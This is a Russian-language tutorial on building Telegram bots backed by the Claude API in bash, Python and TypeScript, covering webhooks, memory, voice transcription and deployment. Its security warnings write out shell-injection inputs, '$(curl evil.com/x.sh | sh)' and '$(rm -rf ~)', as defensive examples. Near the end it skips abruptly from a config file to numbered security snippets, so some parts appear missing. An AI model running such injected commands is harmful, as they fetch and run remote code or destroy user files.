Telegram-боты с Claude API — от нуля до продакшена
Строитель90 минОбновлено: октябрь 2026
57 из 105 в библиотеке
Время: ~30 мин теории + 60 мин практики
Суть урока
Telegram-бот (автоматизированная программа) с Claude — это не просто чат-бот. Это автоматический сотрудник, который отвечает клиентам в 3 ночи, собирает лиды, генерирует контент, транскрибирует голосовые — и всё это при небольших расходах на API (как их считать, см. урок Cost Engineering). Ты пишешь один раз, он работает всегда.
🎨 Образ: Telegram-бот — как автоответчик на телефоне вашей компании. Только вместо "нажмите 1, нажмите 2" — живой разговор с AI, который понимает что хочет клиент и реагирует умно. А Claude — это мозг, который ты арендуешь за копейки.
Ключевые концепции
BotFather (БотОтец — официальный бот Telegram для создания ботов) — официальный мастер создания ботов в Telegram (бесплатно)
Polling vs Webhook (поллинг против вебхука — HTTP-уведомления о событии) — два способа получать сообщения (разные для разных ситуаций)
python-telegram-bot / grammY — библиотеки для Python (Питон — язык программирования) и TypeScript
История диалога — как бот помнит контекст разговора
Cloudflare Workers — деплой (развёртывание) на бесплатном плане: на октябрь 2026 до 100 000 запросов в день
Railway — деплой с постоянным сервером на платном плане (актуальные цены — на сайте Railway)
Теория
Шаг 0: Создание бота через BotFather
Открываешь Telegram, ищешь @BotFather, пишешь /newbot. Он спросит:
Имя бота (например: "My Assistant")
Username (должен заканчиваться на "bot": my_assistant_bot)
В ответ получаешь токен (единицу аутентификации):
Код
7234567890:AAH_abcXYZ123...
🎨 Образ: токен бота — как ключ от офиса. Тот кто владеет ключом, может зайти и сделать что угодно от имени бота. Храни его так же бережно, как пароль от банка.
Если токен утёк — сразу регенерировать: /revoke в BotFather.
Polling vs Webhook: в чём разница
🎨 Образ: Polling — как официант, который каждые 30 секунд подходит к кухне и спрашивает: "готово?". Webhook — как звонок из кухни: "еда готова, забирай!" Первый проще, второй быстрее и дешевле.
Критерий
Polling
Webhook
Сложность
Минимальная (5 мин)
Нужен публичный HTTPS URL
Скорость ответа
Зависит от интервала опроса
Обычно быстрее: сообщение приходит сразу
Нагрузка на сервер
Выше (постоянные запросы)
Ниже (только при событии)
Для разработки
Идеально
Неудобно
Cloudflare Workers
Нельзя (serverless)
Обязательно
Для продакшена
До 20 пользователей
При любой нагрузке
Правило: для разработки и личного использования — polling. Для продакшена на Cloudflare Workers — только webhook.
Вариант A: Bash-скрипт (30 строк, запуск за 5 минут)
Самый быстрый старт. Bash (баш — язык команд терминала). Нужны только curl и jq. Подходит для личного использования.
bash
#!/usr/bin/env bash
set -euo pipefail
source ~/.config/telegram-bot.env
API="https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}"
OFFSET=0
# Функция отправки (обрабатывает лимит 4096 символов)
send() {
local chat="$1" text="$2"
while [ -n "$text" ]; do
local chunk="${text:0:4000}"
text="${text:4000}"
curl -s -X POST "${API}/sendMessage" \
--data-urlencode "chat_id=${chat}" \
--data-urlencode "text=${chunk}" > /dev/null
done
}
handle_message() {
local chat="$1" user_text="$2"
# Только разрешённые пользователи
if [ "$chat" != "$TELEGRAM_ALLOWED_CHAT_ID" ]; then
return
fi
# ⚠️ Защита от shell-injection: stdin вместо аргумента
# Если user_text содержит `$(rm -rf ~)` или backtick — без quoting это
# выполнится как код. printf '%q' квотит безопасно, но надёжнее — передать
# текст через stdin, чтобы он вообще не парсился shell'ом.
local reply
reply=$(printf '%s' "$user_text" | claude -p --model sonnet \
--max-budget-usd 0.50 2>&1) || reply="Ошибка: $reply"
send "$chat" "$reply"
}
# ⚠️ Polling loop — БЕЗ subshell pipe
# Старая версия `jq ... | while read` запускала while в subshell:
# переменная OFFSET там обновлялась, но снаружи оставалась прежней.
# Перенаправление через process substitution `< <(...)` оставляет while
# в текущем shell — OFFSET виден и в следующей итерации.
# curl --fail --max-time 30: рвём зависшие соединения, ловим HTTP 5xx.
while true; do
UPDATES=$(curl -s --fail --max-time 35 \
"${API}/getUpdates?offset=${OFFSET}&timeout=30") || {
echo "Telegram API timeout/error, retrying in 5s..." >&2
sleep 5
continue
}
while read -r upd; do
OFFSET=$(($(echo "$upd" | jq '.update_id') + 1))
CHAT=$(echo "$upd" | jq '.message.chat.id')
TEXT=$(echo "$upd" | jq -r '.message.text // empty')
[ -n "$TEXT" ] && handle_message "$CHAT" "$TEXT"
done < <(echo "$UPDATES" | jq -c '.result[]?')
done
⚠️ Security box: почему bash-бот опасен в публичном сценарии
🎨 Образ: этот скрипт — как кухонная дверь без замка. Для своей семьи (whitelist одного chat_id) — норм. Но если открыть дверь улице — любой прохожий может зайти на кухню с ножом.
Конкретные риски, если убрать whitelist:
Shell injection — пользователь пишет $(curl evil.com/x.sh | sh). Без stdin-передачи (как выше) bash выполнит это как код.
Race condition в polling — старая версия с | while read теряла offset после краша → дублирование сообщений после рестарта.
Нет rate limiting — один спамер съест весь budget Claude за 5 минут.
Нет audit log — не узнаешь кто что писал, если что-то сломалось.
Правило: bash-вариант только для личного использования с whitelist. Для публичного — Python/TypeScript с rate-limit, sandbox, и логированием.
Файл конфига ~/.config/telegram-bot.env:
bash
TELEGRAM_BOT_TOKEN=7234567890:AAH_твой_токен
TELEGRAM_ALLOWED_CHAT_ID=123456789 # Твой chat_id (узнай у @userinfobot)
ANTHROPIC_API_KEY=sk-ant-...
Вариант B: Python + python-telegram-bot (рекомендуемый)
Полноценный бот с памятью диалога. Устанавливаем:
bash
pip install python-telegram-bot anthropic
python
import asyncio
import anthropic
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import os
claude = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])
# ⚠️ Память: in-memory словарь — ТОЛЬКО для разработки и одного процесса
#
# Проблема: defaultdict(list) копит запись на каждый новый user_id навсегда.
# 10 000 пользователей × 20 сообщений × ~500 байт = ~100 МБ RAM, и растёт.
# При рестарте процесса вся история теряется.
#
# Для production: Redis / Cloudflare KV / Postgres с TTL.
# Ниже — LRU-эвикция по размеру (защита от OOM на in-memory варианте).
from collections import OrderedDict
MAX_HISTORY = 20 # сообщений на пользователя
MAX_USERS = 1000 # активных пользователей в памяти (LRU eviction)
class LRUConversations(OrderedDict):
"""LRU-словарь: при превышении MAX_USERS удаляет самого старого."""
def __getitem__(self, key):
if key not in self:
self[key] = []
else:
self.move_to_end(key) # mark as recently used
return super().__getitem__(key)
def __setitem__(self, key, value):
super().__setitem__(key, value)
self.move_to_end(key)
if len(self) > MAX_USERS:
evicted_key, _ = self.popitem(last=False) # drop oldest
# В production: лог + alert "history evicted for user X"
conversation_history = LRUConversations()
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
await update.message.reply_text(
f"Привет, {user.first_name}! Я AI-ассистент. Задай любой вопрос."
)
async def clear_history(update: Update, context: ContextTypes.DEFAULT_TYPE):
conversation_history[update.effective_user.id].clear()
await update.message.reply_text("История очищена.")
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
user_id = update.effective_user.id
user_text = update.message.text
# Показываем "печатает..."
await context.bot.send_chat_action(
chat_id=update.effective_chat.id,
action="typing"
)
# Добавляем в историю
conversation_history[user_id].append({
"role": "user",
"content": user_text
})
# Обрезаем если слишком длинная
if len(conversation_history[user_id]) > MAX_HISTORY:
conversation_history[user_id] = conversation_history[user_id][-MAX_HISTORY:]
# Запрос к Claude
response = claude.messages.create(
model="claude-sonnet-5-5",
max_tokens=2000,
system="Ты полезный AI-ассистент. Отвечай кратко и по делу.",
messages=conversation_history[user_id]
)
reply = "".join(b.text for b in response.content if b.type == "text")
# Сохраняем ответ
conversation_history[user_id].append({
"role": "assistant",
"content": reply
})
# Telegram лимит 4096 символов
if len(reply) > 4096:
for i in range(0, len(reply), 4096):
await update.message.reply_text(reply[i:i+4096])
else:
await update.message.reply_text(reply)
def main():
app = Application.builder().token(os.environ["TELEGRAM_BOT_TOKEN"]).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("clear", clear_history))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
print("Бот запущен...")
app.run_polling()
if __name__ == "__main__":
main()
⚠️ Security box: если переводишь Python-бота на webhook
🎨 Образ: webhook без проверки секрета — как почтовый ящик без замка на двери дома. Любой прохожий с интернетом может бросить в него письмо от имени Telegram, и бот его выполнит.
При переходе с run_polling() на webhook (например через FastAPI или app.run_webhook()) обязательно проверь заголовок X-Telegram-Bot-Api-Secret-Token — это то, что ты передавал в setWebhook как secret_token. Без проверки атакующий может слать фейковые updates на твой публичный URL.
python
from fastapi import FastAPI, Request, HTTPException
import os
WEBHOOK_SECRET = os.environ["WEBHOOK_SECRET"]
api = FastAPI()
@api.post("/webhook")
async def webhook(request: Request):
# ⚠️ Проверка ПЕРВОЙ строкой — до парсинга body
secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token")
if secret != WEBHOOK_SECRET:
raise HTTPException(status_code=401, detail="Unauthorized")
update = Update.de_json(await request.json(), app.bot)
await app.process_update(update)
return {"ok": True}
Это зеркало проверки в TypeScript-варианте на Cloudflare Workers (строки request.headers.get("X-Telegram-Bot-Api-Secret-Token") ниже).
Вариант C: TypeScript + grammY со стримингом (продвинутый)
Ответ появляется постепенно — как в Claude.ai. Пользователь видит текст по мере генерации:
typescript
import "dotenv/config";
import { Bot } from "grammy";
import Anthropic from "@anthropic-ai/sdk";
const bot = new Bot(process.env.TELEGRAM_BOT_TOKEN!);
const claude = new Anthropic();
// ⚠️ История диалогов — in-memory Map, ТОЛЬКО для разработки
//
// Проблема: Map<number, ...> копит запись на каждый user_id навсегда.
// При 10k пользователей процесс съест всю RAM и упадёт (OOM).
// При рестарте — вся история теряется (не persistent).
//
// Для production используй Redis или Cloudflare KV с TTL:
// await env.KV.put(`chat:${userId}`, JSON.stringify(history),
// { expirationTtl: 60 * 60 * 24 * 7 }); // 7 дней
//
// Ниже — LRU-эвикция по размеру (защита от OOM на single-process сценарии).
const MAX_USERS = 1000;
const conversations = new Map<number, Array<{role: string, content: string}>>();
function getHistory(userId: number): Array<{role: string, content: string}> {
if (conversations.has(userId)) {
// LRU touch: удалить и вернуть в конец (Map сохраняет insertion order)
const h = conversations.get(userId)!;
conversations.delete(userId);
conversations.set(userId, h);
return h;
}
// Эвикция самого старого если переполнение
if (conversations.size >= MAX_USERS) {
const oldestKey = conversations.keys().next().value;
if (oldestKey !== undefined) conversations.delete(oldestKey);
}
const fresh: Array<{role: string, content: string}> = [];
conversations.set(userId, fresh);
return fresh;
}
bot.on("message:text", async (ctx) => {
const userId = ctx.from.id;
const userText = ctx.message.text;
const history = getHistory(userId); // LRU-touch + create if absent
history.push({ role: "user", content: userText });
// Placeholder сообщение
const placeholder = await ctx.reply("...");
let buffer = "";
let lastEdit = Date.now();
// Стриминг от Claude
const stream = claude.messages.stream({
model: "claude-sonnet-5-5",
max_tokens: 2000,
system: "Ты полезный AI-ассистент. Отвечай на русском языке.",
messages: history as any,
});
for await (const chunk of stream) {
if (chunk.type === "content_block_delta" &&
chunk.delta.type === "text_delta") {
buffer += chunk.delta.text;
// Обновляем каждые 800мс (лимит Telegram API)
if (Date.now() - lastEdit > 800 && buffer.length > 20) {
try {
await ctx.api.editMessageText(
ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000)
);
lastEdit = Date.now();
} catch (e) { /* сообщение не изменилось */ }
}
}
}
// Финальное обновление
await ctx.api.editMessageText(ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000));
history.push({ role: "assistant", content: buffer });
if (history.length > 20) conversations.set(userId, history.slice(-20));
});
bot.command("clear", async (ctx) => {
conversations.delete(ctx.from.id);
await ctx.reply("История очищена.");
});
bot.start();
Голосовые сообщения — транскрибация через Whisper
🎨 Образ: голосовое сообщение в Telegram — как записка на аудио. Whisper — это переводчик, который превращает аудио обратно в текст. А Claude — тот кто читает и отвечает.
Telegram отправляет голос в формате OGG/Opus. Нужно: скачать → транскрибировать → отправить в Claude.
python
import io
import openai
import aiohttp
from telegram.ext import MessageHandler, filters
openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"])
async def handle_voice(update: Update, context: ContextTypes.DEFAULT_TYPE):
await context.bot.send_chat_action(update.effective_chat.id, "typing")
# Шаг 1: Скачиваем OGG файл
file = await context.bot.get_file(update.message.voice.file_id)
async with aiohttp.ClientSession() as session:
async with session.get(file.file_path) as resp:
audio_bytes = await resp.read()
# Шаг 2: Транскрибируем через Whisper
audio_file = io.BytesIO(audio_bytes)
audio_file.name = "voice.ogg"
# имя модели распознавания — пример: актуальные модели смотри в документации OpenAI
transcription = await openai_client.audio.transcriptions.create(
model="whisper-1",
file=audio_file,
language="ru"
)
transcript = transcription.text
# Шаг 3: Показываем что распознали
await update.message.reply_text(f"🎙️ Распознал: _{transcript}_", parse_mode="Markdown")
# Шаг 4: Передаём в Claude
response = claude.messages.create(
model="claude-sonnet-5-5",
max_tokens=1000,
messages=[{"role": "user", "content": transcript}]
)
await update.message.reply_text("".join(b.text for b in response.content if b.type == "text"))
app.add_handler(MessageHandler(filters.VOICE, handle_voice))
🎨 Образ: Cloudflare Workers — как почтовый ящик на каждом перекрёстке мира. Сообщение от Telegram прилетает на ближайший к пользователю сервер (сотни локаций по миру). Задержка минимальная, а на бесплатном плане Workers (см. выше) за это ничего не платишь.
bash
# Установка
npm install -g wrangler
wrangler login
# Новый проект
mkdir my-telegram-bot && cd my-telegram-bot
npm install grammy @anthropic-ai/sdk
# Секреты (не в код!)
wrangler secret put BOT_TOKEN
wrangler secret put ANTHROPIC_API_KEY
wrangler secret put WEBHOOK_SECRET
wrangler.toml:
toml
name = "my-telegram-bot"
main = "src/index.ts"
compatibility_date = "2026-10-01" # поставь актуальную дату на момент создания проекта
ALLOWED_USERS = {123456789} # Твои chat_id
async def check_access(update: Update) -> bool:
if update.effective_user.id not in ALLOWED_USERS:
await update.message.reply_text("Нет доступа.")
return False
return True
3. Rate limiting:
python
from collections import defaultdict
from datetime import datetime, timedelta
requests = defaultdict(list)
def check_rate_limit(user_id: int, max_req=5, window_sec=60) -> bool:
now = datetime.now()
cutoff = now - timedelta(seconds=window_sec)
requests[user_id] = [ts for ts in requests[user_id] if ts > cutoff]
if len(requests[user_id]) >= max_req:
return False
requests[user_id].append(now)
return True
Лимиты Telegram API (эй-пи-ай — интерфейс программирования):
Тип
Лимит
Сообщения глобально (рассылка)
около 30/сек на бот
Сообщения в один чат
не чаще 1/сек
Сообщения в группу
не больше 20/мин
Длина сообщения
4096 символов
Файл, который бот отправляет
до 50 МБ
Файл, который бот скачивает
до 20 МБ
Реальные use cases
Customer Support бот:
python
SUPPORT_PROMPT = """Ты агент поддержки компании Acme Realty.
Помогаешь русскоязычным найти недвижимость в Эквадоре.
При вопросах о ценах — уточни бюджет и предпочтения.
При жалобах — принеси извинения и попроси контакт.
Если не знаешь — честно скажи и предложи связаться с менеджером."""
Lead Generation воронка:
Код
Нажал кнопку → выбрал интерес (купить/арендовать)
→ ввёл бюджет → ввёл контакт
→ менеджер получил лид в отдельный чат
Контент-ассистент:
python
MODES = {
"telegram": "Пост для Telegram, макс 800 символов, 3-5 эмодзи",
"instagram": "Instagram с 10-15 хэштегами в конце",
"blog": "Статья минимум 800 слов с подзаголовками",
}
Практика
Создай бота через BotFather, получи токен
Узнай свой chat_id через @userinfobot
Запусти Bash-скрипт с Claude CLI (си-эл-ай — интерфейс командной строки) — напиши боту первое сообщение
Перепиши на Python с историей диалога
Добавь команду /clear для сброса истории
(опционально) Задеплой на Railway или Cloudflare Workers
Telegram-бот с Claude = автоматический 24/7 помощник с небольшими расходами на API. Bash-скрипт запускается за 5 минут, Python-вариант добавляет память диалога, TypeScript+grammY — для продакшена.
Polling для разработки и маленьких ботов (до 20 пользователей). Webhook обязателен для Cloudflare Workers и нагруженных ботов.
Токен — главный секрет. Никогда в коде, всегда через переменные окружения. Whitelist пользователей — обязательно для приватных ботов.